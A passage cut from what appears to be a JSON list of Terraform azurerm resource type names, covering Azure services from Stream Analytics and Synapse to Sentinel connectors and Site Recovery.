\"azurerm_stream_analytics_function_javascript_udf\",\n        \"azurerm_stream_analytics_job\",\n        \"azurerm_stream_analytics_output_blob\",\n        \"azurerm_stream_analytics_output_eventhub\",\n        \"azurerm_stream_analytics_output_mssql\",\n        \"azurerm_stream_analytics_output_servicebus_queue\",\n        \"azurerm_stream_analytics_output_servicebus_topic\",\n        \"azurerm_stream_analytics_reference_input_blob\",\n        \"azurerm_stream_analytics_stream_input_blob\",\n        \"azurerm_stream_analytics_stream_input_eventhub\",\n        \"azurerm_stream_analytics_stream_input_iothub\",\n        \"azurerm_synapse_workspace\",\n        \"azurerm_template_deployment\",\n        \"azurerm_iot_time_series_insights_access_policy\",\n        \"azurerm_iot_time_series_insights_reference_data_set\",\n        \"azurerm_iot_time_series_insights_standard_environment\",\n        \"azurerm_api_management_api_diagnostic\",\n        \"azurerm_api_management_custom_domain\",\n        \"azurerm_api_management_identity_provider_aadb2c\",\n        \"azurerm_api_management_policy\",\n        \"azurerm_app_service_certificate_binding\",\n        \"azurerm_app_service_managed_certificate\",\n        \"azurerm_application_insights_smart_detection_rule\",\n        \"azurerm_attestation_provider\",\n        \"azurerm_cosmosdb_cassandra_table\",\n        \"azurerm_cosmosdb_sql_stored_procedure\",\n        \"azurerm_data_factory_integration_runtime_azure\",\n        \"azurerm_data_factory_integration_runtime_azure_ssis\",\n        \"azurerm_data_factory_linked_service_azure_sql_database\",\n        \"azurerm_data_factory_linked_service_azure_table_storage\",\n        \"azurerm_data_factory_linked_service_snowflake\",\n        \"azurerm_data_factory_linked_service_synapse\",\n        \"azurerm_data_share_dataset_data_lake_gen2\",\n        \"azurerm_data_share_dataset_kusto_cluster\",\n        \"azurerm_data_share_dataset_kusto_database\",\n        \"azurerm_digital_twins_endpoint_eventgrid\",\n        \"azurerm_digital_twins_endpoint_eventhub\",\n        \"azurerm_digital_twins_endpoint_servicebus\",\n        \"azurerm_digital_twins_instance\",\n        \"azurerm_disk_access\",\n        \"azurerm_eventgrid_system_topic\",\n        \"azurerm_eventgrid_system_topic_event_subscription\",\n        \"azurerm_firewall_policy\",\n        \"azurerm_firewall_policy_rule_collection_group\",\n        \"azurerm_integration_service_environment\",\n        \"azurerm_iot_security_device_group\",\n        \"azurerm_iot_security_solution\",\n        \"azurerm_iot_time_series_insights_gen2_environment\",\n        \"azurerm_iothub_enrichment\",\n        \"azurerm_ip_group\",\n        \"azurerm_lb_backend_address_pool_address\",\n        \"azurerm_lighthouse_assignment\",\n        \"azurerm_lighthouse_definition\",\n        \"azurerm_log_analytics_cluster\",\n        \"azurerm_log_analytics_cluster_customer_managed_key\",\n        \"azurerm_log_analytics_data_export_rule\",\n        \"azurerm_log_analytics_linked_storage_account\",\n        \"azurerm_log_analytics_saved_search\",\n        \"azurerm_log_analytics_storage_insights\",\n        \"azurerm_media_asset\",\n        \"azurerm_media_content_key_policy\",\n        \"azurerm_media_job\",\n        \"azurerm_media_streaming_endpoint\",\n        \"azurerm_media_streaming_locator\",\n        \"azurerm_media_streaming_policy\",\n        \"azurerm_media_transform\",\n        \"azurerm_monitor_smart_detector_alert_rule\",\n        \"azurerm_mssql_database_extended_auditing_policy\",\n        \"azurerm_mssql_server_extended_auditing_policy\",\n        \"azurerm_mysql_server_key\",\n        \"azurerm_network_connection_monitor\",\n        \"azurerm_postgresql_server_key\",\n        \"azurerm_redis_linked_server\",\n        \"azurerm_resource_group_template_deployment\",\n        \"azurerm_resource_provider_registration\",\n        \"azurerm_security_center_auto_provisioning\",\n        \"azurerm_security_center_automation\",\n        \"azurerm_security_center_setting\",\n        \"azurerm_sentinel_alert_rule_fusion\",\n        \"azurerm_service_fabric_mesh_application\",\n        \"azurerm_service_fabric_mesh_local_network\",\n        \"azurerm_service_fabric_mesh_secret\",\n        \"azurerm_service_fabric_mesh_secret_value\",\n        \"azurerm_spring_cloud_active_deployment\",\n        \"azurerm_spring_cloud_certificate\",\n        \"azurerm_spring_cloud_java_deployment\",\n        \"azurerm_ssh_public_key\",\n        \"azurerm_stack_hci_cluster\",\n        \"azurerm_storage_data_lake_gen2_path\",\n        \"azurerm_storage_encryption_scope\",\n        \"azurerm_storage_share_file\",\n        \"azurerm_storage_sync\",\n        \"azurerm_storage_sync_cloud_endpoint\",\n        \"azurerm_storage_sync_group\",\n        \"azurerm_subnet_service_endpoint_storage_policy\",\n        \"azurerm_subscription_template_deployment\",\n        \"azurerm_synapse_firewall_rule\",\n        \"azurerm_synapse_managed_private_endpoint\",\n        \"azurerm_synapse_role_assignment\",\n        \"azurerm_synapse_spark_pool\",\n        \"azurerm_synapse_sql_pool\",\n        \"azurerm_virtual_desktop_application_group\",\n        \"azurerm_virtual_desktop_host_pool\",\n        \"azurerm_virtual_desktop_workspace\",\n        \"azurerm_virtual_desktop_workspace_application_group_association\",\n        \"azurerm_virtual_hub_bgp_connection\",\n        \"azurerm_virtual_hub_ip\",\n        \"azurerm_virtual_hub_route_table\",\n        \"azurerm_virtual_hub_security_partner_provider\",\n        \"azurerm_vpn_gateway_connection\",\n        \"azurerm_vpn_site\",\n        \"azurerm_api_management_email_template\",\n        \"azurerm_communication_service\",\n        \"azurerm_data_factory_dataset_parquet\",\n        \"azurerm_data_factory_linked_service_azure_databricks\",\n        \"azurerm_data_lake_store_virtual_network_rule\",\n        \"azurerm_databox_edge_device\",\n        \"azurerm_databox_edge_order\",\n        \"azurerm_express_route_port\",\n        \"azurerm_hpc_cache_access_policy\",\n        \"azurerm_kusto_eventgrid_data_connection\",\n        \"azurerm_kusto_iothub_data_connection\",\n        \"azurerm_management_group_subscription_association\",\n        \"azurerm_management_group_template_deployment\",\n        \"azurerm_media_live_event\",\n        \"azurerm_media_live_event_output\",\n        \"azurerm_mssql_firewall_rule\",\n        \"azurerm_mssql_virtual_network_rule\",\n        \"azurerm_purview_account\",\n        \"azurerm_redis_enterprise_cluster\",\n        \"azurerm_redis_enterprise_database\",\n        \"azurerm_security_center_assessment\",\n        \"azurerm_security_center_assessment_metadata\",\n        \"azurerm_security_center_assessment_policy\",\n        \"azurerm_security_center_server_vulnerability_assessment\",\n        \"azurerm_sentinel_data_connector_aws_cloud_trail\",\n        \"azurerm_sentinel_data_connector_azure_active_directory\",\n        \"azurerm_sentinel_data_connector_azure_advanced_threat_protection\",\n        \"azurerm_sentinel_data_connector_azure_security_center\",\n        \"azurerm_sentinel_data_connector_microsoft_cloud_app_security\",\n        \"azurerm_sentinel_data_connector_office_365\",\n        \"azurerm_sentinel_data_connector_threat_intelligence\",\n        \"azurerm_spring_cloud_app_mysql_association\",\n        \"azurerm_spring_cloud_app_redis_association\",\n        \"azurerm_spring_cloud_custom_domain\",\n        \"azurerm_subscription\",\n        \"azurerm_tenant_template_deployment\",\n        \"azurerm_vmware_private_cloud\",\n        \"azurerm_aadb2c_directory\",\n        \"azurerm_active_directory_domain_service\",\n        \"azurerm_active_directory_domain_service_replica_set\",\n        \"azurerm_api_management_api_operation_tag\",\n        \"azurerm_api_management_api_release\",\n        \"azurerm_api_management_gateway\",\n        \"azurerm_api_management_gateway_api\",\n        \"azurerm_api_management_notification_recipient_email\",\n        \"azurerm_api_management_notification_recipient_user\",\n        \"azurerm_api_management_redis_cache\",\n        \"azurerm_api_management_tag\",\n        \"azurerm_app_configuration_feature\",\n        \"azurerm_app_configuration_key\",\n        \"azurerm_app_service_environment_v3\",\n        \"azurerm_app_service_public_certificate\",\n        \"azurerm_app_service_slot_custom_hostname_binding\",\n        \"azurerm_automation_webhook\",\n        \"azurerm_batch_job\",\n        \"azurerm_bot_channel_alexa\",\n        \"azurerm_bot_channel_direct_line_speech\",\n        \"azurerm_bot_channel_facebook\",\n        \"azurerm_bot_channel_line\",\n        \"azurerm_bot_channel_sms\",\n        \"azurerm_bot_channel_web_chat\",\n        \"azurerm_bot_service_azure_bot\",\n        \"azurerm_cdn_endpoint_custom_domain\",\n        \"azurerm_cognitive_account_customer_managed_key\",\n        \"azurerm_consumption_budget_management_group\",\n        \"azurerm_consumption_budget_resource_group\",\n        \"azurerm_consumption_budget_subscription\",\n        \"azurerm_container_registry_scope_map\",\n        \"azurerm_container_registry_task\",\n        \"azurerm_container_registry_token\",\n        \"azurerm_cosmosdb_cassandra_cluster\",\n        \"azurerm_cosmosdb_cassandra_datacenter\",\n        \"azurerm_cosmosdb_notebook_workspace\",\n        \"azurerm_cosmosdb_sql_function\",\n        \"azurerm_cosmosdb_sql_trigger\",\n        \"azurerm_data_factory_custom_dataset\",\n        \"azurerm_data_factory_data_flow\",\n        \"azurerm_data_factory_dataset_binary\",\n        \"azurerm_data_factory_dataset_snowflake\",\n        \"azurerm_data_factory_linked_custom_service\",\n        \"azurerm_data_factory_linked_service_azure_search\",\n        \"azurerm_data_factory_linked_service_cosmosdb_mongoapi\",\n        \"azurerm_data_factory_linked_service_kusto\",\n        \"azurerm_data_factory_linked_service_odata\",\n        \"azurerm_data_factory_linked_service_odbc\",\n        \"azurerm_data_factory_managed_private_endpoint\",\n        \"azurerm_data_factory_trigger_blob_event\",\n        \"azurerm_data_factory_trigger_custom_event\",\n        \"azurerm_data_factory_trigger_tumbling_window\",\n        \"azurerm_data_protection_backup_instance_blob_storage\",\n        \"azurerm_data_protection_backup_instance_disk\",\n        \"azurerm_data_protection_backup_instance_postgresql\",\n        \"azurerm_data_protection_backup_policy_blob_storage\",\n        \"azurerm_data_protection_backup_policy_disk\",\n        \"azurerm_data_protection_backup_policy_postgresql\",\n        \"azurerm_data_protection_backup_vault\",\n        \"azurerm_databricks_workspace_customer_managed_key\",\n        \"azurerm_disk_pool\",\n        \"azurerm_eventhub_namespace_customer_managed_key\",\n        \"azurerm_express_route_circuit_connection\",\n        \"azurerm_express_route_connection\",\n        \"azurerm_frontdoor_rules_engine\",\n        \"azurerm_healthbot\",\n        \"azurerm_hpc_cache_blob_nfs_target\",\n        \"azurerm_iot_time_series_insights_event_source_eventhub\",\n        \"azurerm_iot_time_series_insights_event_source_iothub\",\n        \"azurerm_key_vault_managed_hardware_security_module\",\n        \"azurerm_key_vault_managed_storage_account\",\n        \"azurerm_key_vault_managed_storage_account_sas_token_definition\",\n        \"azurerm_kusto_script\",\n        \"azurerm_load_test\",\n        \"azurerm_logic_app_integration_account_agreement\",\n        \"azurerm_logic_app_integration_account_assembly\",\n        \"azurerm_logic_app_integration_account_batch_configuration\",\n        \"azurerm_logic_app_integration_account_certificate\",\n        \"azurerm_logic_app_integration_account_map\",\n        \"azurerm_logic_app_integration_account_partner\",\n        \"azurerm_logic_app_integration_account_schema\",\n        \"azurerm_logic_app_integration_account_session\",\n        \"azurerm_logic_app_standard\",\n        \"azurerm_logz_monitor\",\n        \"azurerm_logz_tag_rule\",\n        \"azurerm_machine_learning_compute_cluster\",\n        \"azurerm_machine_learning_compute_instance\",\n        \"azurerm_machine_learning_inference_cluster\",\n        \"azurerm_machine_learning_synapse_spark\",\n        \"azurerm_maintenance_assignment_virtual_machine_scale_set\",\n        \"azurerm_management_group_policy_assignment\",\n        \"azurerm_maps_creator\",\n        \"azurerm_media_asset_filter\",\n        \"azurerm_monitor_aad_diagnostic_setting\",\n        \"azurerm_monitor_private_link_scope\",\n        \"azurerm_monitor_private_link_scoped_service\",\n        \"azurerm_mssql_failover_group\",\n        \"azurerm_mssql_job_agent\",\n        \"azurerm_mssql_job_credential\",\n        \"azurerm_mssql_server_transparent_data_encryption\",\n        \"azurerm_mysql_flexible_database\",\n        \"azurerm_mysql_flexible_server\",\n        \"azurerm_mysql_flexible_server_configuration\",\n        \"azurerm_mysql_flexible_server_firewall_rule\",\n        \"azurerm_nat_gateway_public_ip_prefix_association\",\n        \"azurerm_netapp_snapshot_policy\",\n        \"azurerm_policy_virtual_machine_configuration_assignment\",\n        \"azurerm_portal_tenant_configuration\",\n        \"azurerm_postgresql_flexible_server\",\n        \"azurerm_postgresql_flexible_server_configuration\",\n        \"azurerm_postgresql_flexible_server_database\",\n        \"azurerm_postgresql_flexible_server_firewall_rule\",\n        \"azurerm_relay_hybrid_connection_authorization_rule\",\n        \"azurerm_relay_namespace_authorization_rule\",\n        \"azurerm_resource_group_cost_management_export\",\n        \"azurerm_resource_group_policy_assignment\",\n        \"azurerm_resource_policy_assignment\",\n        \"azurerm_sentinel_alert_rule_machine_learning_behavior_analytics\",\n        \"azurerm_sentinel_automation_rule\",\n        \"azurerm_sentinel_data_connector_microsoft_defender_advanced_threat_protection\",\n        \"azurerm_sentinel_watchlist\",\n        \"azurerm_service_fabric_managed_cluster\",\n        \"azurerm_servicebus_namespace_disaster_recovery_config\",\n        \"azurerm_signalr_service_network_acl\",\n        \"azurerm_spring_cloud_app_cosmosdb_association\",\n        \"azurerm_sql_managed_database\",\n        \"azurerm_sql_managed_instance\",\n        \"azurerm_sql_managed_instance_active_directory_administrator\",\n        \"azurerm_sql_managed_instance_failover_group\",\n        \"azurerm_static_site\",\n        \"azurerm_static_site_custom_domain\",\n        \"azurerm_storage_blob_inventory_policy\",\n        \"azurerm_storage_disks_pool\",\n        \"azurerm_storage_object_replication\",\n        \"azurerm_stream_analytics_cluster\",\n        \"azurerm_stream_analytics_managed_private_endpoint\",\n        \"azurerm_stream_analytics_output_synapse\",\n        \"azurerm_stream_analytics_output_table\",\n        \"azurerm_stream_analytics_reference_input_mssql\",\n        \"azurerm_subscription_cost_management_export\",\n        \"azurerm_subscription_policy_assignment\",\n        \"azurerm_synapse_integration_runtime_azure\",\n        \"azurerm_synapse_integration_runtime_self_hosted\",\n        \"azurerm_synapse_linked_service\",\n        \"azurerm_synapse_private_link_hub\",\n        \"azurerm_synapse_sql_pool_extended_auditing_policy\",\n        \"azurerm_synapse_sql_pool_security_alert_policy\",\n        \"azurerm_synapse_sql_pool_vulnerability_assessment\",\n        \"azurerm_synapse_sql_pool_vulnerability_assessment_baseline\",\n        \"azurerm_synapse_sql_pool_workload_classifier\",\n        \"azurerm_synapse_sql_pool_workload_group\",\n        \"azurerm_synapse_workspace_aad_admin\",\n        \"azurerm_synapse_workspace_extended_auditing_policy\",\n        \"azurerm_synapse_workspace_key\",\n        \"azurerm_synapse_workspace_security_alert_policy\",\n        \"azurerm_synapse_workspace_sql_aad_admin\",\n        \"azurerm_synapse_workspace_vulnerability_assessment\",\n        \"azurerm_video_analyzer\",\n        \"azurerm_video_analyzer_edge_module\",\n        \"azurerm_virtual_desktop_application\",\n        \"azurerm_virtual_desktop_scaling_plan\",\n        \"azurerm_virtual_hub_route_table_route\",\n        \"azurerm_virtual_machine_configuration_policy_assignment\",\n        \"azurerm_virtual_network_dns_servers\",\n        \"azurerm_vmware_cluster\",\n        \"azurerm_vmware_express_route_authorization\",\n        \"azurerm_vpn_gateway_nat_rule\",\n        \"azurerm_active_directory_domain_service_trust\",\n        \"azurerm_api_connection\",\n        \"azurerm_api_management_api_tag\",\n        \"azurerm_app_service_source_control\",\n        \"azurerm_app_service_source_control_slot\",\n        \"azurerm_application_insights_workbook\",\n        \"azurerm_application_insights_workbook_template\",\n        \"azurerm_capacity_reservation\",\n        \"azurerm_capacity_reservation_group\",\n        \"azurerm_cdn_frontdoor_endpoint\",\n        \"azurerm_cdn_frontdoor_origin\",\n        \"azurerm_cdn_frontdoor_origin_group\",\n        \"azurerm_cdn_frontdoor_profile\",\n        \"azurerm_cdn_frontdoor_rule_set\",\n        \"azurerm_confidential_ledger\",\n        \"azurerm_container_connected_registry\",\n        \"azurerm_container_registry_agent_pool\",\n        \"azurerm_cosmosdb_sql_role_assignment\",\n        \"azurerm_cosmosdb_sql_role_definition\",\n        \"azurerm_data_protection_resource_guard\",\n        \"azurerm_disk_pool_iscsi_target\",\n        \"azurerm_disk_pool_iscsi_target_lun\",\n        \"azurerm_disk_pool_managed_disk_attachment\",\n        \"azurerm_elastic_cloud_elasticsearch\",\n        \"azurerm_fluid_relay_server\",\n        \"azurerm_function_app_active_slot\",\n        \"azurerm_function_app_function\",\n        \"azurerm_function_app_hybrid_connection\",\n        \"azurerm_gallery_application\",\n        \"azurerm_gallery_application_version\",\n        \"azurerm_healthcare_dicom_service\",\n        \"azurerm_healthcare_fhir_service\",\n        \"azurerm_healthcare_workspace\",\n        \"azurerm_iothub_certificate\",\n        \"azurerm_linux_function_app\",\n        \"azurerm_linux_function_app_slot\",\n        \"azurerm_linux_web_app\",\n        \"azurerm_linux_web_app_slot\",\n        \"azurerm_logz_sub_account\",\n        \"azurerm_managed_disk_sas_token\",\n        \"azurerm_management_group_policy_exemption\",\n        \"azurerm_management_group_policy_remediation\",\n        \"azurerm_monitor_data_collection_rule\",\n        \"azurerm_mssql_managed_database\",\n        \"azurerm_mssql_managed_instance\",\n        \"azurerm_mssql_managed_instance_active_directory_administrator\",\n        \"azurerm_mssql_managed_instance_failover_group\",\n        \"azurerm_mssql_managed_instance_vulnerability_assessment\",\n        \"azurerm_mssql_outbound_firewall_rule\",\n        \"azurerm_mssql_server_dns_alias\",\n        \"azurerm_portal_dashboard\",\n        \"azurerm_resource_group_policy_exemption\",\n        \"azurerm_resource_group_policy_remediation\",\n        \"azurerm_resource_policy_exemption\",\n        \"azurerm_resource_policy_remediation\",\n        \"azurerm_route_server\",\n        \"azurerm_route_server_bgp_connection\",\n        \"azurerm_security_center_server_vulnerability_assessment_virtual_machine\",\n        \"azurerm_sentinel_data_connector_aws_s3\",\n        \"azurerm_sentinel_watchlist_item\",\n        \"azurerm_service_plan\",\n        \"azurerm_source_control_token\",\n        \"azurerm_spring_cloud_api_portal\",\n        \"azurerm_spring_cloud_api_portal_custom_domain\",\n        \"azurerm_spring_cloud_build_deployment\",\n        \"azurerm_spring_cloud_build_pack_binding\",\n        \"azurerm_spring_cloud_builder\",\n        \"azurerm_spring_cloud_configuration_service\",\n        \"azurerm_spring_cloud_container_deployment\",\n        \"azurerm_spring_cloud_gateway\",\n        \"azurerm_spring_cloud_gateway_custom_domain\",\n        \"azurerm_spring_cloud_gateway_route_config\",\n        \"azurerm_spring_cloud_storage\",\n        \"azurerm_stream_analytics_function_javascript_uda\",\n        \"azurerm_stream_analytics_job_schedule\",\n        \"azurerm_stream_analytics_output_cosmosdb\",\n        \"azurerm_stream_analytics_output_function\",\n        \"azurerm_stream_analytics_output_powerbi\",\n        \"azurerm_subscription_policy_exemption\",\n        \"azurerm_subscription_policy_remediation\",\n        \"azurerm_traffic_manager_azure_endpoint\",\n        \"azurerm_traffic_manager_external_endpoint\",\n        \"azurerm_traffic_manager_nested_endpoint\",\n        \"azurerm_virtual_desktop_host_pool_registration_info\",\n        \"azurerm_virtual_network_gateway_nat_rule\",\n        \"azurerm_vpn_server_configuration_policy_group\",\n        \"azurerm_web_app_active_slot\",\n        \"azurerm_web_app_hybrid_connection\",\n        \"azurerm_web_pubsub\",\n        \"azurerm_web_pubsub_hub\",\n        \"azurerm_web_pubsub_network_acl\",\n        \"azurerm_web_pubsub_shared_private_link_resource\",\n        \"azurerm_windows_function_app\",\n        \"azurerm_windows_function_app_slot\",\n        \"azurerm_windows_web_app\",\n        \"azurerm_windows_web_app_slot\",\n        \"azurerm_api_management_api_tag_description\",\n        \"azurerm_api_management_gateway_certificate_authority\",\n        \"azurerm_api_management_gateway_host_name_configuration\",\n        \"azurerm_api_management_global_schema\",\n        \"azurerm_api_management_product_tag\",\n        \"azurerm_app_service_connection\",\n        \"azurerm_automation_connection_type\",\n        \"azurerm_automation_hybrid_runbook_worker\",\n        \"azurerm_automation_hybrid_runbook_worker_group\",\n        \"azurerm_automation_software_update_configuration\",\n        \"azurerm_automation_source_control\",\n        \"azurerm_automation_watcher\",\n        \"azurerm_backup_policy_vm_workload\",\n        \"azurerm_billing_account_cost_management_export\",\n        \"azurerm_cdn_frontdoor_custom_domain\",\n        \"azurerm_cdn_frontdoor_custom_domain_association\",\n        \"azurerm_cdn_frontdoor_firewall_policy\",\n        \"azurerm_cdn_frontdoor_route\",\n        \"azurerm_cdn_frontdoor_route_disable_link_to_default_domain\",\n        \"azurerm_cdn_frontdoor_rule\",\n        \"azurerm_cdn_frontdoor_secret\",\n        \"azurerm_cdn_frontdoor_security_policy\",\n        \"azurerm_cognitive_deployment\",\n        \"azurerm_container_registry_task_schedule_run_now\",\n        \"azurerm_container_registry_token_password\",\n        \"azurerm_cosmosdb_sql_dedicated_gateway\",\n        \"azurerm_dashboard_grafana\",\n        \"azurerm_data_factory_flowlet_data_flow\",\n        \"azurerm_databricks_access_connector\",\n        \"azurerm_datadog_monitor\",\n        \"azurerm_datadog_monitor_sso_configuration\",\n        \"azurerm_datadog_monitor_tag_rule\",\n        \"azurerm_digital_twins_time_series_database_connection\",\n        \"azurerm_eventhub_namespace_schema_group\",\n        \"azurerm_federated_identity_credential\",\n        \"azurerm_healthcare_medtech_service\",\n        \"azurerm_healthcare_medtech_service_fhir_destination\",\n        \"azurerm_iotcentral_application_network_rule_set\",\n        \"azurerm_iothub_device_update_account\",\n        \"azurerm_iothub_device_update_instance\",\n        \"azurerm_key_vault_certificate_contacts\",\n        \"azurerm_kubernetes_fleet_manager\",\n        \"azurerm_kusto_cluster_managed_private_endpoint\",\n        \"azurerm_lab_service_plan\",\n        \"azurerm_log_analytics_query_pack\",\n        \"azurerm_log_analytics_query_pack_query\",\n        \"azurerm_logz_sub_account_tag_rule\",\n        \"azurerm_monitor_alert_processing_rule_action_group\",\n        \"azurerm_monitor_alert_processing_rule_suppression\",\n        \"azurerm_monitor_data_collection_endpoint\",\n        \"azurerm_monitor_data_collection_rule_association\",\n        \"azurerm_monitor_scheduled_query_rules_alert_v2\",\n        \"azurerm_mssql_managed_instance_security_alert_policy\",\n        \"azurerm_mssql_managed_instance_transparent_data_encryption\",\n        \"azurerm_mssql_server_microsoft_support_auditing_policy\",\n        \"azurerm_network_manager\",\n        \"azurerm_nginx_certificate\",\n        \"azurerm_nginx_configuration\",\n        \"azurerm_nginx_deployment\",\n        \"azurerm_orbital_contact_profile\",\n        \"azurerm_orbital_spacecraft\",\n        \"azurerm_postgresql_flexible_server_active_directory_administrator\",\n        \"azurerm_private_dns_resolver\",\n        \"azurerm_private_dns_resolver_dns_forwarding_ruleset\",\n        \"azurerm_private_dns_resolver_forwarding_rule\",\n        \"azurerm_private_dns_resolver_inbound_endpoint\",\n        \"azurerm_private_dns_resolver_outbound_endpoint\",\n        \"azurerm_private_dns_resolver_virtual_network_link\",\n        \"azurerm_resource_deployment_script_azure_cli\",\n        \"azurerm_resource_deployment_script_azure_power_shell\",\n        \"azurerm_route_map\",\n        \"azurerm_search_shared_private_link_service\",\n        \"azurerm_sentinel_alert_rule_nrt\",\n        \"azurerm_sentinel_data_connector_dynamics_365\",\n        \"azurerm_sentinel_data_connector_iot\",\n        \"azurerm_sentinel_data_connector_microsoft_threat_protection\",\n        \"azurerm_sentinel_data_connector_office_365_project\",\n        \"azurerm_sentinel_data_connector_office_atp\",\n        \"azurerm_sentinel_data_connector_office_irm\",\n        \"azurerm_sentinel_data_connector_office_power_bi\",\n        \"azurerm_signalr_shared_private_link_resource\",\n        \"azurerm_spring_cloud_accelerator\",\n        \"azurerm_spring_cloud_application_live_view\",\n        \"azurerm_spring_cloud_connection\",\n        \"azurerm_spring_cloud_customized_accelerator\",\n        \"azurerm_spring_cloud_dev_tool_portal\",\n        \"azurerm_stream_analytics_stream_input_eventhub_v2\",\n        \"azurerm_virtual_machine_packet_capture\",\n        \"azurerm_virtual_machine_scale_set_packet_capture\",\n        \"azurerm_vmware_netapp_volume_attachment\",\n        \"azurerm_application_insights_standard_web_test\",\n        \"azurerm_application_load_balancer\",\n        \"azurerm_application_load_balancer_frontend\",\n        \"azurerm_application_load_balancer_subnet_association\",\n        \"azurerm_arc_kubernetes_cluster\",\n        \"azurerm_arc_kubernetes_cluster_extension\",\n        \"azurerm_arc_kubernetes_flux_configuration\",\n        \"azurerm_arc_machine_extension\",\n        \"azurerm_arc_private_link_scope\",\n        \"azurerm_arc_resource_bridge_appliance\",\n        \"azurerm_automanage_configuration\",\n        \"azurerm_automation_powershell72_module\",\n        \"azurerm_automation_python3_package\",\n        \"azurerm_automation_variable_object\",\n        \"azurerm_container_app\",\n        \"azurerm_container_app_environment\",\n        \"azurerm_container_app_environment_certificate\",\n        \"azurerm_container_app_environment_dapr_component\",\n        \"azurerm_container_app_environment_storage\",\n        \"azurerm_cosmosdb_mongo_role_definition\",\n        \"azurerm_cosmosdb_mongo_user_definition\",\n        \"azurerm_cosmosdb_postgresql_cluster\",\n        \"azurerm_cosmosdb_postgresql_coordinator_configuration\",\n        \"azurerm_cosmosdb_postgresql_firewall_rule\",\n        \"azurerm_cosmosdb_postgresql_node_configuration\",\n        \"azurerm_cosmosdb_postgresql_role\",\n        \"azurerm_cost_anomaly_alert\",\n        \"azurerm_cost_management_scheduled_action\",\n        \"azurerm_custom_ip_prefix\",\n        \"azurerm_data_factory_credential_user_managed_identity\",\n        \"azurerm_data_factory_dataset_azure_sql_table\",\n        \"azurerm_databricks_virtual_network_peering\",\n        \"azurerm_databricks_workspace_root_dbfs_customer_managed_key\",\n        \"azurerm_dev_center\",\n        \"azurerm_dev_center_project\",\n        \"azurerm_elastic_san\",\n        \"azurerm_email_communication_service\",\n        \"azurerm_express_route_port_authorization\",\n        \"azurerm_function_app_connection\",\n        \"azurerm_graph_account\",\n        \"azurerm_graph_services_account\",\n        \"azurerm_iothub_endpoint_cosmosdb_account\",\n        \"azurerm_iothub_file_upload\",\n        \"azurerm_ip_group_cidr\",\n        \"azurerm_key_vault_managed_hardware_security_module_role_assignment\",\n        \"azurerm_key_vault_managed_hardware_security_module_role_definition\",\n        \"azurerm_kubernetes_cluster_extension\",\n        \"azurerm_kubernetes_cluster_trusted_access_role_binding\",\n        \"azurerm_kubernetes_flux_configuration\",\n        \"azurerm_kusto_cosmosdb_data_connection\",\n        \"azurerm_lab_service_lab\",\n        \"azurerm_lab_service_schedule\",\n        \"azurerm_lab_service_user\",\n        \"azurerm_log_analytics_workspace_table\",\n        \"azurerm_machine_learning_datastore_blobstorage\",\n        \"azurerm_machine_learning_datastore_datalake_gen2\",\n        \"azurerm_machine_learning_datastore_fileshare\",\n        \"azurerm_managed_lustre_file_system\",\n        \"azurerm_marketplace_role_assignment\",\n        \"azurerm_media_services_account_filter\",\n        \"azurerm_mobile_network\",\n        \"azurerm_mobile_network_attached_data_network\",\n        \"azurerm_mobile_network_data_network\",\n        \"azurerm_mobile_network_packet_core_control_plane\",\n        \"azurerm_mobile_network_packet_core_data_plane\",\n        \"azurerm_mobile_network_service\",\n        \"azurerm_mobile_network_sim\",\n        \"azurerm_mobile_network_sim_group\",\n        \"azurerm_mobile_network_sim_policy\",\n        \"azurerm_mobile_network_site\",\n        \"azurerm_mobile_network_slice\",\n        \"azurerm_monitor_alert_prometheus_rule_group\",\n        \"azurerm_monitor_workspace\",\n        \"azurerm_mssql_virtual_machine_availability_group_listener\",\n        \"azurerm_mssql_virtual_machine_group\",\n        \"azurerm_mysql_flexible_server_active_directory_administrator\",\n        \"azurerm_netapp_volume_group_sap_hana\",\n        \"azurerm_netapp_volume_quota_rule\",\n        \"azurerm_network_function_azure_traffic_collector\",\n        \"azurerm_network_function_collector_policy\",\n        \"azurerm_network_manager_admin_rule\",\n        \"azurerm_network_manager_admin_rule_collection\",\n        \"azurerm_network_manager_connectivity_configuration\",\n        \"azurerm_network_manager_deployment\",\n        \"azurerm_network_manager_management_group_connection\",\n        \"azurerm_network_manager_network_group\",\n        \"azurerm_network_manager_scope_connection\",\n        \"azurerm_network_manager_security_admin_configuration\",\n        \"azurerm_network_manager_static_member\",\n        \"azurerm_network_manager_subscription_connection\",\n        \"azurerm_new_relic_monitor\",\n        \"azurerm_new_relic_tag_rule\",\n        \"azurerm_orbital_contact\",\n        \"azurerm_palo_alto_local_rulestack\",\n        \"azurerm_palo_alto_local_rulestack_certificate\",\n        \"azurerm_palo_alto_local_rulestack_fqdn_list\",\n        \"azurerm_palo_alto_local_rulestack_outbound_trust_certificate_association\",\n        \"azurerm_palo_alto_local_rulestack_outbound_untrust_certificate_association\",\n        \"azurerm_palo_alto_local_rulestack_prefix_list\",\n        \"azurerm_palo_alto_local_rulestack_rule\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_hub_local_rulestack\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_hub_panorama\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_network_local_rulestack\",\n        \"azurerm_palo_alto_next_generation_firewall_virtual_network_panorama\",\n        \"azurerm_palo_alto_virtual_network_appliance\",\n        \"azurerm_pim_active_role_assignment\",\n        \"azurerm_pim_eligible_role_assignment\",\n        \"azurerm_private_endpoint_application_security_group_association\",\n        \"azurerm_recovery_services_vault_resource_guard_association\",\n        \"azurerm_resource_group_cost_management_view\",\n        \"azurerm_resource_management_private_link\",\n        \"azurerm_resource_management_private_link_association\",\n        \"azurerm_security_center_server_vulnerability_assessments_setting\",\n        \"azurerm_security_center_storage_defender\",\n        \"azurerm_sentinel_alert_rule_anomaly_built_in\",\n        \"azurerm_sentinel_alert_rule_anomaly_duplicate\",\n        \"azurerm_sentinel_alert_rule_threat_intelligence\",\n        \"azurerm_sentinel_data_connector_microsoft_threat_intelligence\",\n        \"azurerm_sentinel_data_connector_threat_intelligence_taxii\",\n        \"azurerm_sentinel_log_analytics_workspace_onboarding\",\n        \"azurerm_sentinel_metadata\",\n        \"azurerm_sentinel_threat_intelligence_indicator\",\n        \"azurerm_signalr_service_custom_certificate\",\n        \"azurerm_signalr_service_custom_domain\",\n        \"azurerm_site_recovery_hyperv_network_mapping\",\n        \"azurerm_site_recovery_hyperv_replication_policy\",\n        \"azurerm_site_recovery_hyperv_replication_policy_association\",\n        \"azurerm_site_recovery_replication_recovery_plan\",\n        \"azurerm_site_recovery_services_vault_hyperv_site\",\n        